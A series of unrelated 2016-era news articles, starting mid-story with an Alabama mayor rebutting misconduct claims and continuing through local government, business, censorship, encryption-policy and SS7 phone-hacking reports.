Townsend also said Boswell and city officials had improperly hired the investment banking firm, Frazer Lanier Company, to act as underwriters for municipal bonds the city planned to issue to help finance capital projects after the 2007 tornado.

Boswell showed written evidence that the proposal had gone to bid in 2008 and that Frazer Lanier had been chosen as the best among six proposals the city had received. Other companies that bid were Gardnyr Michael Capital, Merchant Capital, Morgan Keegan, Wachovia Securities and Raymond James.

Other records included a memo from Hicks to the Enterprise City Council evaluating each companys proposal. The memo also states, As you are aware, Alabama law does not require the bidding of theses (sic) services. However, based upon recommendations from the school funding committee, proposals were received.

Hicks said the company was used again in 2009 because they already held the bond issue.

In addition, Townsend said Frazer Lanier treated Boswell and his wife to an all-expenses-paid luxury trip to New York City in both 2008 and 2009. Townsend said the trips ended up being billed back to the city and paid for by taxpayers.

Frazer Lanier was later disciplined by the Financial Industry Regulatory Authority for advancing expenses for the trips then receiving reimbursement for the expenses from the proceeds of the bond offerings.

Boswell said he and other city officials were not aware of the infractions at the time, and that an audit of the company revealed the problem.

Boswell said he and Hicks went on the trip in 2008, and Boswells wife was not with him on the trip in 2008.

His wife did, however, accompany him on the 2009 trip.

Boswell showed proof that all of the expenses had been paid. A copy of a check showed that, in 2010, Frazer Lanier reimbursed the city for the citys expenses in the amount of $2,036.44.

Boswell also produced a copy of a check he had made out to Frazer Lanier in the amount of $733.98 for his wifes expenses. (NOTE: This is a correction from the original story that said the check was written out to the city.)

Clearing things up

Weve covered everything with documentation, Boswell said at the end of the news conference. By you being here today, that gives us that opportunity to be able to respond. It clearly shows here in black and white that those accusations are not true and are unfounded.

He expressed some frustration about the accusations, but he declined to comment specifically on Everybodys Enterprise or Townsend.

I respect any human beings opinion, Boswell said. Does that mean I agree with that opinion? Absolutely not. Were not going to agree on everything, but we should be kind and courteous enough to know that we can agree to disagree.

Boswell said he strove for honesty, hard work and humility. He said he ran for mayor because the city has been good to him and his family, and he wanted to help provide a future for his family and others families.

We will continue to work at the same pace that we always have from a standpoint of recruiting industry, from a standpoint of creating a quality of life for our citizens and helping Fort Rucker in every way, shape, form or fashion.
A small sign went up in the parking lot of the Dothan Police Department this week that will bring a tremendous sense of relief to those who look for a good deal.

Internet Purchase Exchange Location, reads the sign. Right in front of the police station.

Its a brilliant move, and heres why: Youre looking for a used item like a camera or musical instrument, and you search the online classifieds and find that someone in the area has just what you want at a price youre willing to pay. You contact them through the site, and dont know anything about them. You agree to purchase the item, and arrange for the exchange.

This is the tricky part. Buyers shouldnt be so quick to go to a strangers home, or to invite the stranger to theirs. However, many have done so, or met in other out-of-the-way places, and found themselves in trouble.

Studies have shown that hundreds of robberies, assaults and murders across America have been linked to ads on web sites, which says a great deal about the general publics woeful lack of wariness in dealing with strangers.

Dothan Police Chief Steve Parrish said he hopes the creation of the sanctuary zone will give both buyers and sellers a better sense of security. Not only is the police department on site, the area designated for the merchandise exchange is overseen by security cameras.

In a perfect world, such steps would not be necessary. However, a growing number of police departments have found that establishing a sanctuary zone for sales exchanges is a proactive step in public safety. Parrish and his department deserve commendation for this small yet significant initiative.
The nation is seeing a rise in the number of special education students it serves in public schools, as is Alabama.

Nationwide, the number of students ages 6-21 with disabilities increased from 5.67 million in 2011 to 5.83 million in 2014, according to U.S. Department of Education figures. In Alabama, more than 84,000 students with disabilities are served by public schools. In 2010, the state served 82,000 students with disabilities. In 1989, that number was more than 99,000.

Special education services in the public school system cover a wide spectrum of students.

You have students with mild speech problems to students with severe disabilities, said Crystal Richardson, Alabama State Department of Education program coordinator for special education.

Richardson that the number of students with disabilities has stayed in the 82,000 to 84,000 range for several years. Richardson said that within that demographic, the number of students with severe medical issues or who have autism has increased in recent years.

Richardson said improving medical technology has led to longer lives for medically fragile children and has allowed many of them to attend school. Richardson said that the uptick in students with autism can be attributed to improved diagnosis of the condition.

Malissa Valdes-Hubert, a spokesperson for the Alabama Department of Education, said the department had increased its efforts in recent years to dialogue with parents to ensure their children were getting the best possible services.

Everyone wants their voice heard, she said.

David Sewell, interim Houston County School superintendent, said the countys number of students in special education programs has held steady for the past few years. Sewell said in 2015 10.7 percent of the districts students had special needs. In 2016 the figure was 11.3 percent.

Sewell said the county system had followed state trends in seeing an increase in medically fragile students and students with autism.

Sewell said the Houston County Schools have seen an increase in the cost of providing care to special education students in recent years. He said the system has had to hire more nurses to care for medically fragile students.
The Alabama Legislature has approved a bill which will change the way the Houston County Commission chairman is paid, beginning in 2018.

Previously, the law allowed the chairman to receive the use of a county vehicle or be reimbursed for mileage expense on a monthly basis if a personal vehicle was being used.

The new law, which officially takes effect Dec. 1, 2018, will provide the chairman with a flat $500 per month expense fee. The change was put off until December of 2018 in order to come after the next election cycle.

The measure passed the House 20-0 with 69 abstentions. All local representatives voted in favor of the change. The measure passed the Senate 25-0 with two abstentions. All local senators voted in favor of the change.

Meanwhile, a Constitutional amendment that would allow a referendum on a proposed local gas tax remains stuck in committee with time winding down in the session. The amendment was introduced April 13, but has not received a favorable vote from the local legislation committee to move it to the next step.

Houston County Commission Chairman Mark Culver said he hoped the committee would move the amendment out Thursday, but that didnt happen. It takes about five legislative days to pass a piece of legislation.

Culver said a technical language problem with the bill slowed the process, but the language has been corrected and does not change the intent of the bill.

The bill calls for a four-cent increase in the local gas tax. Three cents would sunset if a state gas tax increase is passed within four years.

Meanwhile, a similar bill for Geneva County passed the House 65-0 Wednesday and is awaiting action in the Senate. The bill also requires a referendum. The increase would be up to five cents per gallon, and would be reduced to two cents per gallon if a state gas tax increase is passed within four years.

At least one other local bill has been enacted. A process fee for the service of papers in Dale County will go into effect soon. The process fee will be $25 for process of service related to local matters and $50 for process of service related to court action outside of Dale County. The revenue will be used by the Dale County Sheriffs Office.
Much of the major shovel-in-ground work necessary to halt the abundance of sewage overflows in the Dothan sewer system hasnt begun yet, but some major projects are underway and funding is in place for at least six projects to replace sewer lines around Dothan.

The city has set aside more than $7 million to fund a handful of projects identified in the early phases of Dothans compliance with the Environmental Protection Agencys Administrative Order on Consent. The EPAs order requires Dothan to perform major work on the city sewer system in order to prevent sewage from bubbling up into neighborhoods and eventually flowing into streams and rivers.

The $7.7 million set aside will fully fund six projects that are currently in the pre-design or design phase. An additional seven projects have been identified for which funding is not currently set aside. The remaining seven projects cost an estimated $17.2 million.

We are meeting all deadlines associated with the EPA Administrative Order on Consent, City Manager Mike West said. The sewer assessment process is to the point where lines needing attention to reduce sewage overflows are being identified. These projects will start addressing the numerous problems faced during heavy rainfalls. The city is committed to insuring that its sewer system is operated and maintained in a manner that does not pose health risks to our residents and complies with all federal and state regulatory requirements.

Meanwhile, the city continues to have sewage overflows in heavy rain events, and there have been several in Dothan over the past few months.

About 30 sewage overflows have occurred since the beginning of the year, resulting in an estimated 1.1 million gallons overflowing into neighborhoods, according to records filed with the Alabama Department of Environmental Management. Cornell Street and Engelwood Avenue are sites of the most prolific occurrences. Overflow volumes range from as little as 85 gallons to as much as 175,000 gallons.

Work being done now is expected to begin to address the issues on Engelwood and Cornell. According to the City of Dothan, 34 SSOs occurred in the last quarter of 2015. The city is required to submit quarterly SSO summaries to the EPA.

Every time we get an SSO, I feel like we bleed a little bit more, said Billy Mayes, Dothan Utilities department head.

Heavy rainfall leads to an infiltration of rainwater into the sewer system. Decay over time has led to hundreds, or possibly thousands of infiltration points. The system cant handle the hundreds of thousands of gallons of rainwater, causing the system to push sewage up and through manholes into neighborhoods.

The Alabama Department of Environmental Management requires different public notifications based on the size and impact of the sewage overflows. For some, notification signs posted at the site of the overflow are required. For others, notification to area media outlets is required.

Michael Mullen, a local advocate for the preservation of the Choctawhatchee River and its tributaries, said ADEM should require greater accountability for notifying the public about sewage overflows that wind up in area streams or other tributaries.

ADEM should require wastewater treatment plants to develop a public notification plan and submit that plan for ADEM review. Plans should have mechanisms and delivery methods to assure that public notification will be swift and effective. And, wastewater treatment plant reports of spills should include a requirement that the responsible official attest under penalty of law that the public notification plan is followed.

Mullen said plans are in place to test the waters of the Little Choctawhatchee for bacterial contamination prior to Memorial Day.

West said the city is continuing to identify needed repairs to the system, but the repairs will take time.

Each day the City and our consultants are out analyzing flow data, video and other information to find lines which are causing problems, West said.

Dothan is currently working on the rehabilitation of the Rock Creek trunk line. Other projects identified with available funding include:

 Engelwood/Rock Creek sewer line: $1.81 million

 Cherokee Avenue sewer line: $400,000

 Appletree Street, Flynn Road, Woodland Street, Plant Street sewer line: $1.4 million

 Deborah Street sewer line: $160,000

 Garland Street sewer line: $350,000

 Kornegay Street sewer line: $370,000
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Home Two wheelers Fancy To Ride Around The World On A Ducati Multistrada  Register Now! oi-Abijith Vilangil

Ducati has a number of events planned for its 90th anniversary, An Olympic-style torch relay, traveling nearly 20,000 miles around the world is just one of them.











The torch relay will be traveling nearly 20,000 miles around the world. The 7 riders to carry the specially-designed torch will be selected in the upcoming days. The torch represents the "flames of passion" that drove the company to success.

Starting on July 4, the relay will be divided into 7 stages with 7 riders. The relay riders will be riding on the new Multistrada 1200 Enduros.

The tour will be flagged at Ducati's factory in Borno Panigale, Italy on July 4, the date of the company's birth, from Panigale, the relay riders will ride across Europe before entering the Trans-Siberian Highway to Russia, Mongolia and then China.

Then the riders will have a brief stop in Japan, the tour will continue to the U.S. before returning to Europe.

The tour is expected to reach an end on December 5 back in Borno Panigale. The seven riders carrying the torch will be chosen from among the many Ducati fans around the world.

Ducati has already started looking for bloggers and travelers who are used to expressing their experiences on traditional or social media.

Applicants have to be avid motorcyclists and should have a keen interest in travelling. Key quality which Ducati is looking for their riders will be their ability of storytelling through written and visual medium.

At first Ducati will be assessed 14 finalists who will go through a second phase selection process which will evaluate their riding skills. This phase will decide the names of 7 riders who will be carrying the torch around the world on a Multistrada 1200 Enduro.











Ducati is also renovating its museum by adding a large exhibition area. The updated museum will be opened to the world during the World Ducati Week (WDW) 2016 at the Misano World Circuit Marco Simoncelli.
Fianna Fail deputy Declan Breathnach has criticised Tesco management plans to press ahead with reducing pay and conditions for around 1,000 of its 14,000 employees.

Unions have warned that long serving staff, many of whom have been with the company for over 20 years, are being disproportionately targeted under the plan.

Its deeply disappointing to see Tesco engage in such underhand tactics when it comes to negotiating with staff, particularly those who have served the company for decades, deputy Breathnach said.

The attempt by Tesco to unilaterally change the existing contracts of workers goes against the established industrial relations practice of ensuring decent workplace conditions in Ireland.

The fact that it is older, longer serving staff members that will be affected is particularly worrying and would set a dangerous precedent in employer-employee relations. I believe long serving staff should be rewarded, but it seems Tesco management are intent on punishing those that loyally serve the company.

The managements approach to this issue has not only been extremely bullish, but also deeply unfair.

It is unacceptable that a company would try to ram through changes to working conditions without any consultation with staff. Tesco Ireland remains one of the most profitable retailers in the country.

Despite generating over 1bn in revenue in the six months to August 2015, it is surprising and disappointing that the company is now trying to diminish the pay, terms and conditions of long standing older workers.

If the cuts are pushed through it will have an impact on the workers themselves, but will also have a negative effect on local economies and rural communities.

Fianna Fail is urging management at Tesco to attend the Labour Court so that the issues at the centre of this dispute can be discussed with trade union reps.

 No pay cuts or changes to working conditions should be made until this process takes place.

We will continue to support decent jobs for hard working people and will aim to ensure that all workers are treated fairly," said Deputy Breathnach.
EY has selected 16 high-potential, technology-focused start-up entrepreneurs from across Asia-Pacific to take part in its Accelerating Entrepreneurs program. The program helps fast-growth start-ups from around the world to scale their business through one-to-one guidance, networking and insight sharing. Split into three regions: Europe, Asia-Pacific and North America, EY mission is to help accelerate entrepreneurs through the next steps of their growth journey to becoming the global market leaders of tomorrow.

The entrepreneurs, from Australia, New Zealand, Singapore, Hong Kong, mainland China and Mongolia will participate in EYs upcoming Strategic Growth Forum China in Shanghai on 11-12 May 2016. An event set to bring together global market leaders, high growth companies, market innovators, entrepreneurs, investors, industry professionals, government officials and policy-makers from across Greater China and the wider Asia-Pacific region to discuss, debate and create new opportunities for investment and growth.

The 16 were chosen based upon their potential to grow across borders, their entrepreneurial spirit, leadership qualities, financial performance, strategic direction, innovative thinking and people philosophy.

The 16 selected participants include:

Australia:

Charlotte Petris, Timelio: Anonline marketplace for trading invoices which enables businesses and growing SMEs to get paid faster to help them grow their businesses. Alison Hardacre, HealthKit: A global health software platform for private practitioners and patients or health consumers, digitizing the health sector and building a global health data set. Chris King, Splend: A vehicle rental company for drivers who want to participate in the on-demand economy revolution but dont have a compliant vehicle. Carolyn Mee, cmee4 Productions: Developer of Sound Scouts, a revolutionary game created to detect hearing loss in preschool children. Alli Baker, Workible: A HR Technology company powering the largest connected job network in Australia and using real-time data to match candidates and employers. James Fitzgerald, Moneyball: Australias first and largest Daily Fantasy Sports (DFS) platform.

New Zealand:

Carmen Vicelich, Data Insight: Developer of Valocity, a Next Generation Mortgage and Valuation platform connecting Assessors, Brokers, consumers and banks to better facilitate mortgage transactions.

Singapore:

Marcus Lim,ECOSOFTT Pte Ltd: A globally-networked innovation company that specializes in management of water, wastewater and environmental services. Kelvin See,Simgo: A telecommunications technology company that has virtual SIM technology to allow switching between operators, maintaining the users phone number and allowing for elimination of roaming costs. Varun Mittal, helloPay Pte Ltd: An E-Wallet and Online Payment Service that allows anyone with an email address to securely, conveniently and cost-effectively send and receive payments online. Prajit Nanu, Instarem: A low-cost international money remittance model designed to support immigrants and millions of small and medium sized businesses.

Hong King:

Winnie Leung, eNano Health Limited: A company building a series of disruptive saliva-based solutions for self-health management and fast screening of multiple diseases. Cedric Jeannot, APrivacy: A technology solution that encrypts any type of digital data with military grade security while providing a seamless user experience. Eric Gnock Fah, Klook Travel Technology Limited: A one-stop-shop travel booking tool for online and mobile devices.

Mainland China:

Yunwen Chen, Datagrand: A big data SaaS platform that can integrate with companies of any industry who are in need of big data technology.

Mongolia:

Bolortuya Dorjsuren, Seaberry Farm Products LLC: A company making skin care and health products with Mongolian-grown organic sea buckthorn ingredients.

The potential for entrepreneurs to add enormous economic value and change the way we work is at the heart of EYs commitment to entrepreneurship and our support for start-ups in Asia-Pacific seeking to scale their growth, says Michael Anghie, EY Asia-Pacific Strategic Growth Markets Leader.

Todays disruptive digital economy offers unprecedented opportunities for early-stage entrepreneurs to enter new markets and transform business models, but it raises the potential of significant challenges too. We will mentor and provide support to these entrepreneurs to fast-track the execution of their business plans. Attending the EY Strategic Growth Forum China event will give our entrepreneurs access to an unrivalled network of professionals ready to help them navigate potential pitfalls and capitalize on growth opportunities.

The selected entrepreneurs will receive the following comprehensive program of one-to-one guidance, networking and insight-sharing:

Attendance at the EY Strategic Growth Forum China event in Shanghai, 11-12 May 2016 The opportunity to network and form ongoing relationships with EY Growth Coaches, global entrepreneurs, industry leaders and EY specialists who will be gathered at the event Access to a dedicated EY service executive to focus on the business issue most critical to the growth acceleration of participants together with an EY Growth Navigator session to help assess capabilities and deliver growth plans Access to EYs unparalleled global entrepreneurial ecosystem

Dynamic Business wishes all participants the very best in success and look forward to hearing their stories.
Many small businesses say they want to foster innovative solutions within their organizations, but actually doing it is another matter entirely. The unfortunate reality is that many smaller companies work with limited resources and tight budgets, turning innovation into more of an afterthought than a priority. However, to truly succeed, thrive, and grow, small businesses should always be looking now creative and innovative solutions to problems. They definitely shouldnt feel intimidated by their smaller size. In fact, in many cases a small business may even be at an advantage when compared to their larger rivals. Here are just a few ways that small companies can work to boost innovation from within.

Company Culture

Innovation doesnt just happen on its own; it needs to be cultivated and fed. This starts with the way a small business is run in the first place. Management and business leaders should always promote an environment and culture that encourages innovation among every employee, not just a select few. Consider it an effort undertaken by the entire organization. Workers need to know that their new ideas and solutions are valued. Only once the companys culture truly reflects this will it become the norm, and for small businesses, promoting this philosophy is generally easier to do than at a large corporation.

Dedicated Division

While the whole company should be encouraged to innovate, another smart bet is to have one division specifically dedicated to providing innovative solutions  what some refer to as an innovation incubator. Other parts of the business may come up with creative ideas on the side, but having one division whose job is solely to be creative can pay big dividends in the future. This division should be given free reign to try out new things (within reason, of course). Whether its trying out a new flash storage solution or cutting edge cloud tool, few things should be off limits.

Suggestion Box

Innovative ideas dont have to just be communicated through high tech means. Having a good old suggestion box may be enough to discover new ideas. Even with a friendly innovative culture, some employees may be too shy to actively voice an idea aloud. Having a suggestion box, while old fashioned, is still a good idea to get ideas from worker who may be more introverted or fear receiving criticism for their thoughts. If a suggestion box still seems too low tech, there are electronic means of cultivating the same principle.

Predictive Analytics

Big data seems to be used for all sorts of things these days, and promoting innovation just happens to be one of them. Big data when used for predictive analytics can lead to many important benefits, from lower costs to additional revenue. Predictive analytics can also identify trends before they happen, allowing businesses to plan things out and discover innovative solutions well ahead of the rest of the pack. In other words, predictive analytics and other big data tools like Apache Pig make it possible for companies to free up more resources and personnel for innovative projects and tasks.

Government Help

A number of government initiatives are available for small businesses to help with innovation, provided that they are aware of them. The Small Business Innovation Research Program (SBIR) is just one example of a way that small businesses can get added funding to look into special innovation that want to pursue. Think of it as a way for smaller companies to enhance certain endeavors that they are already working on or would like to work on.

Improving innovation should always be a goal for any company, particularly small businesses. Since smaller organization usually have to compete against larger, more established companies, the best way to do so is through a more innovative strategy or product. Encouraging more innovation within a small businesses is of vital importance. Its a way to get noticed while also helping the company flourish. In some cases, it could very well be the difference between years of success and closing the businesss doors.

About the Author

Rick Delgado is a technology commentator and writer.


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The Niagara County Sheriff's Office is asking the public's help in identifying a male it regards as a "person of interest" in a theft case.The male is described as white, 6-feet, 2-inches tall, approximately 195 pounds with dark hair. (See included photo.)Anyone with any information regarding the identity and or the whereabouts of this subject is asked to contact the Niagara County Sheriffs Office at 438-3393 (24hours) or during normal business hours, Investigator William A. Evans can be reached at 438-3335.
Rob Ortt

(S6838) Launching the Learning for Work Program that establishes a Youth Apprenticeship Program for high school juniors or seniors. The apprenticeship program would combine academic work in the classroom with mentored on-the-job training to advance career readiness. This legislation would also offer an Enhanced Regents Professional Diploma in the specified occupation, and create a tax credit of $1,500 for each apprentice the participating employer sponsors.

(S6839) Increasing transparency to help students and families make informed decisions about college and borrowing. Higher education institutions would be required to collect data and provide more detailed information on student retention and graduation rates, average amounts of federal and private student loan debt after graduation, and average earnings and employment metrics broken down by program of study.

(S6841) Awarding a Community College Merit and Mobility Scholarship to high school students across the state who graduate within the top 20 percent of their class. Eligible students must attend a New York State community college and would receive $1,000 per year for up to two years. Up to 1,000 scholarships would be awarded to new students every year.

(S2129) Restore New York States Tuition Assistance Program (TAP) for graduate students. In 2010, the state legislature eliminated TAP for all graduate degree programs. Many of todays jobs now require a Masters degree, but without the help of financial aid, the cost of graduate school is too expensive for many. Since the programs elimination, its been increasingly difficult for students to further their education and obtain a graduate degree. This bill would provide students with access to tuition assistance and make them more competitive in todays job market.



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State Sen. Rob Ortt, R-North Tonawanda, has released a legislative package of bills designed to help make college more affordable and attainable for thousands of students and families and debt less burdensome.The bills deal with community college scholarships, establishing an apprenticeship program for career readiness, requiring public disclosure of financial statistics to current and potential college students, and reforming New York's Tuition Assistance Program.Senator Ortt, a member of the Senate's Higher Education Committee, said, The rising cost of college tuition over the years has burdened families and left students drowning in debt before they graduate and start a career in their chosen field. Currently, big government politicians continue to propose that taxpayers take on trillions of dollars in student debts, and New York City liberal special interests continue to push to have government foot the bill for illegal immigrants or prisoners to attend college. But, I'm working to enact legislation that's pragmatic and fair. The proposed legislation thats supported by my Senate Majority colleagues will help tens of thousands of individuals achieve the dream of attending college.The exponential increase in the cost of tuition and the amount of money students have to borrow go hand in hand. A 2015 report from the Project on Student Debt showed that the average debt of a Class of 2014 borrower graduating from a four-year college in New York State was $27,822. That debt level increased from a decade ago when the average student loan debt was $18,857 in 2004.The average debt of 2014 graduates at Buffalo State SUNY was $24,290. Student debt data for Niagara University, a private institution, showed an average debt of $30,289 for 2014 graduates.The legislation includes:In addition to this legislative package, the Senate Majority was able to recently secure more than $1 billion for the Tuition Assistance Program (TAP) as part of the enacted 2016-17 State Budget. The budget also freezes SUNY and CUNY tuition this year while boosting funding for SUNY and CUNY community colleges with an additional $20 million.
It appears that the Obama administration will refrain from giving its outspoken support to any legislation that aims to compel high-tech companies to help law enforcement agencies crack mobile phone encryption.

On the other hand, it wont level any outspoken opposition either.

Introduction of such a bill  sponsored by Sens. Dianne Feinstein, D-Calif., and Richard Burr, R-N.C., chairman of the Senate Intelligence Committee  is expected soon. Although the White House has reviewed a draft of the measure and offered feedback, it is expected to provide minimal public input, Reuters reported Thursday.

The bill gives federal judges broad authority to compel tech companies to assist government agencies, but it doesnt prescribe what the businesses have to do or the circumstances under which they could be ordered to help. Penalties for not complying with the law also appear absent from the draft measure.

The White House did not respond to our request for comment for this story, but earlier this month at a press gaggle on Air Force One, Press Secretary Josh Earnest shed doubt on the ability of Congress to tackle the encryption issue.

I continue to be a little skeptical of Congress ability to handle such a complicated policy area, given Congress recent inability to handle even simple things, he told reporters.

Lack of Understanding

More public discussion is needed before Congress starts to act on encryption, maintained Jonathan Katz, director of the Maryland Cybersecurity Center.

We need to see where the public stands on how much they value privacy of their communications versus the ability to track terrorists. The public hasnt been given chance to think through the issues and understand whats going on, he told TechNewsWorld.

Nor, for that matter, have a lot of the politicians who have come out with opinions about this. I think they dont fully understand the technical issues either, Katz added. Its worthwhile for them to really understand these issues before they start passing laws that relate to them.

White House Unclear

If the White House opposes what Feinstein and Burr are cooking up, its not being very clear about it.

It seems that theyre not actively backing the legislation, but theyre not opposing it either, Katz said.

Congress isnt alone in trying to grapple with the encryption issue. The states are taking action, too, and while Feinstein and Burr seem to be stopping short of forcing tech companies to weaken their encryption to accommodate government agencies, proposed laws in states like California and New York do not.

I predict that one side will always be unhappy, and well eventually see the U.S. Supreme Court weigh in on the issue, vThreat CTO Marcus Carey told TechNewsWorld.

Weak Encryption, Weak Solution

If theres a solution to the conflict between law enforcement and the tech companies, it doesnt lie in weaker encryption, maintained Steve Kelly, president of Intego.

A tech companys first responsibility is to the consumer, so its correct to make products as impenetrable as we possibly can, he told TechNewsWorld.

When you create any backdoor to your encryption, you ultimately open it up to attackers who will exploit it, Kelly explained, and compromise the security and personal information of consumers.

While tech companies shouldnt weaken their encryption, they shouldnt refuse to help law enforcement when they can, he added. Its in the tech companies best interest to do everything they can to help the government, because public sentiment could turn against them very quickly in the wake of a large-scale terrorist attack.

FBI Show and Tell

Meanwhile, the FBI visited Capitol Hill to brief Feinstein on how it gained access to the data in the iPhone belonging to one of the San Bernardino killers, Syed Farook.

Since the agency has not shared the technique with Apple, the move could be interpreted as a slight to the Cupertino company, which refused to help the FBI crack the phones password.

However, that may not be the case.

The move to brief Congress wasnt an ego stroke, maintained Mark Longworth, CEO of Shevirah.

There are legislators who are sympathetic and have proposed amendments and bills to give the FBI greater technical access to modern, encrypted communications like they have with CALEA (the Communications Assistance for Law Enforcement Act ), he told TechNewsWorld.

The FBI is simply supplying those legislators with ammunition on how difficult and costly the methods they have are, said Longworth, as well as how important it is to get to the data in cases like San Bernardino.
The Electronic Frontier Foundation on Wednesday filed suit against the Department of Justice seeking to learn whether the federal government secretly ordered technology companies to decrypt the private communications of their customers.

Such orders could place millions of customers in harms way, the complaint says.

The suit, filed in U.S. District Court in San Francisco, seeks the release of records originally requested last fall under the Freedom of Information Act.

The EFF in October filed a FOIA request with the DoJ, seeking records on applications made to the Foreign Intelligence Surveillance Court, including requests for technical assistance under the Foreign Intelligence Surveillance Act. It also asked for any written opinions and orders, as well as correspondence with Apple and any other companies involved in such a technical request.

Encrypted iMessages

The letter was based in part on a New York Times report that the government wanted Apple to provide real-time access to its customers encrypted iMessages, according to this weeks complaint.

Apples response was that it could not accommodate the request because it could not decrypt the messages, says the complaint, citing the published report.

The DoJ in December indicated that two pieces of correspondence might fit the FOIA request, but it maintained they were exempt from disclosure under the Act.

The EFF filed an appeal in January, claiming that the department had not conducted an adequate search for the requested documents and that it improperly withheld documents found during the search.

The DoJ earlier this month denied the appeal on what it termed partly modified grounds.

There have been published reports that government sought orders to compel companies to hand over source code to investigators, so that it could find and exploit vulnerabilities for its own purposes, according to the EFF complaint.

The EFF views the governments response to its information request as purposefully narrow, said Aaron Mackey, the Frank Stanton Legal Fellow at the foundation.

Its intent was to limit disclosures to requests for information about iMessages, which was not an adequate response, he told the E-Commerce Times.

If you look at what our request said, it was broader than that, Mackey pointed out. We want to know whether youve used this with any communications provider.

The DoJ declined to comment for this story in light of the pending litigation, spokesperson Nicole Navas said.

Pending Requests

The EFF case concerns one of several requests made of the DoJ in connection with requests for information from technology companies.

The ACLU filed a request for information on requests made under the All Writs Act, seeking help with accessing the data on encrypted phones, according to spokesperson Josh Smith.

If filed that request in February, at the height of the battle over whether Apple should help the FBI create a backdoor access point to recover data from the encrypted iPhone used by one the San Bernardino terrorists.

The ACLU so far has not received any response from the government regarding its request, Smith told the E-Commerce Times.

Apple, Yahoo, Google and Facebook have enhanced their use of encryption, in part due to Edward Snowdens 2013 revelation on government surveillance of citizens, noted Ross Schulman, senior policy counsel at New Americas Open Technology Institute, in a post published last month.

Although the OTI has never filed a formal FOIA query regarding any government decryption requests, the EFF filing is an interesting case that deserves answers, Schulman told the E-Commerce Times.

Apple officials were not immediately available for comment.
Chinese authorities have issued censorship instructions to the media following the release of thePanama Papers, according to news reports published last week.

The leaked documents reportedly listed several top Chinese officials who used Panamanian law firm Mossack Fonseca to set up offshore companies.

The names include relatives of at least eight current or previous members of the Chinese Communist Partys Politburo Standing Committee, such as President Xi Jinpings brother-in-law Deng Jiagui; Li Xiaolin, daughter of former premier Li Peng; and Jasmine Li, granddaughter of former Standing Committee member Jia Qinglin.

Instructions Issued

The Chinese government issued a notice ordering the media to find and delete any reprinted reports regarding the Panama Papers, according to a report in theChina Digital Times.

Media were ordered not to follow up on related content, the report said. Any websites that contain materials from foreign media attacking China will be dealt with severely.

The China Digital Times omitted the name of the issuing body in order to protect the source.

Another notice reportedly instructed a website to withdraw an article about the Panama Papers and related stories from its home page and move them to the back end of the site.

Western Influence

Western media and Washington have controlled the interpretation of document leaks, minimizing information negative to the U.S. and emphasizing information about non-Western leaders, the state-run Peoples Dailyasserted.

The leaks might be disinformation, the publication hinted, adding that the West would be happy to see such leaks occur if they attack its opponents.

No mention was made of any Chinese subjects of the Panama Papers.

Exposing the Truth

Its now increasingly difficult to completely hide the digital trail of illegal transactions, no matter how rich and powerful you are, commented Chenxi Wang, chief strategy officer atTwistlock.

The Great Firewall was fairly effective in restricting the access of people in China to the Internet until application-level messaging apps such as WeChat and QQ became popular, she told the E-Commerce Times. The Great Firewall doesnt work on them.

As more people in China use those apps and others like them to communicate, the Great Firewall will become increasingly less effective unless the government bans the use of such messaging apps, Wang said.

Getting Around the Curbs

Chinas Great Firewall is effective enough with average citizens, but, as with other censoring efforts, usually fails with the tech-savvy, she pointed out.

In addition to application-level messaging apps like WeChat, tech-savvy Chinese are using anonymous communications and VPNs, Wang said. Sometimes VPNs dont work at all in China, but you can usually find one that will get you around the Great Firewall.

Even Fang Binxing, the creator of the Great Firewall, hasgotten in on circumvention: Earlier this month, he reportedly showed students at Harbin Technical Institute how to use a VPN called Tianhe, or Galaxy, to access Google and other blocked websites.

Theres clearly a willingness to take the risk of getting caught in China, noted Rob Enderle, principal analyst at the Enderle Group. There are simply too many connections between the West and the East for a strategy like this to work.

Beijings best strategy would have been to discredit the leaks as false, he told the E-Commerce Times, but that needs to be done early, and that boat, too, has likely already sailed.
An international team of cybersecurity experts hacked into an iPhone loaned to a U.S. congressman who sits on a key technology committee, in a 60 Minutes demonstration of how easy it is for a criminal to spy on callers by exploiting an international mobile phone network vulnerability. The segment aired Sunday.

The hackers were able to listen in on a call by Rep. Ted Lieu, D-Calif., who sits on the House Oversight and Reform Subcommittee, just by getting the actual phone number he was using, according to the program.

The team, led by German security researcher Karsten Nohl, easily penetrated the Signalling System No. 7 network, which it then could use for everything from listening in on calls to tracking the callers movements and intercepting text messages.

Lieu, who volunteered to participate in the hacking demonstration, characterized the ease with which the researchers were able to access the phone data as creepy, and said demonstration left him feeling angry.

Call for Investigation

The congressman is exploring policy fixes for the SS7 flaw, said Jack dAnnibale, senior advisor to Lieu.

In fact, he has called for an investigation by the House Committee on Oversight and Government Reform, he told TechNewsWorld.

The applications for this vulnerability are seemingly limitless, from criminals monitoring individual targets to foreign entities conducting economic espionage on American companies to nation states monitoring U.S. government officials, Lieu wrote in a letter sent Monday to Rep. Jason Chaffetz, R-Utah, chairman of the OGR committee.

The vulnerability has serious ramifications not only for individual privacy, but also for American innovation, competitiveness and national security, Lieu wrote. Many innovations in digital security  such as multifactor authentication using text messages  may be rendered useless.

Network Still Vulnerable

The computer security team that carried out the 60 Minutes demo first uncovered the SS7 vulnerability at a German hacking conference in 2014.

These vulnerabilities are quite serious, and they certainly warrant immediate action by nearly every phone company which is part of the SS7 system, said Cooper Quentin, staff technologist at the Electronic Frontier Foundation.

It is a near certainty that criminals and spies are exploiting this vulnerability for nefarious purposes, he told TechNewsWorld.

The U.S. government cannot solve the problem on its own, Quentin added, because the vulnerability is shared by phone companies around the globe, who must work together to fix the problem.

Network vs. Device

Discussions about phone security generally center on one of two issues, noted Christopher Budd, global threat communications manager at Trend Micro. Those issues boil down to either the security of the device or the security of the network.

Some of the issues raised by the 60 Minutes piece relate to the network as opposed to the device.

By and large, while these are interesting and even scary sometimes, theyre not something that most people should worry about, Budd told TechNewsWorld.

Carrying out an attack requires a degree of focused resources against a target, he pointed out, and most regular phone customers are not targets.

Carriers have security teams that typically focus 24x7x365 on the security of their networks, Budd noted. The thing that most people can control is the security of their individual device, which requires running mature security software to keep it up to date.

That last in particular is important, he said, because so many Android devices have been abandoned for updates by the carriers and manufacturers that its impossible to keep them up to date.

Its also advisable to keep multiple layers of security on a phone.

As a security company, we see an increasingly large number of requests for details about how we protect sensitive customer data from third-party access, said GreatHorn Vice President Chris Fraser.

Encryption is part of that narrative, he told TechNewsWorld.

Cybercriminals can find subtle and creative ways to bypass security controls that are put into place, Fraser pointed out, and the best way to prevent against such an exploit is never to rely on one method of cyberprotection as the failsafe.

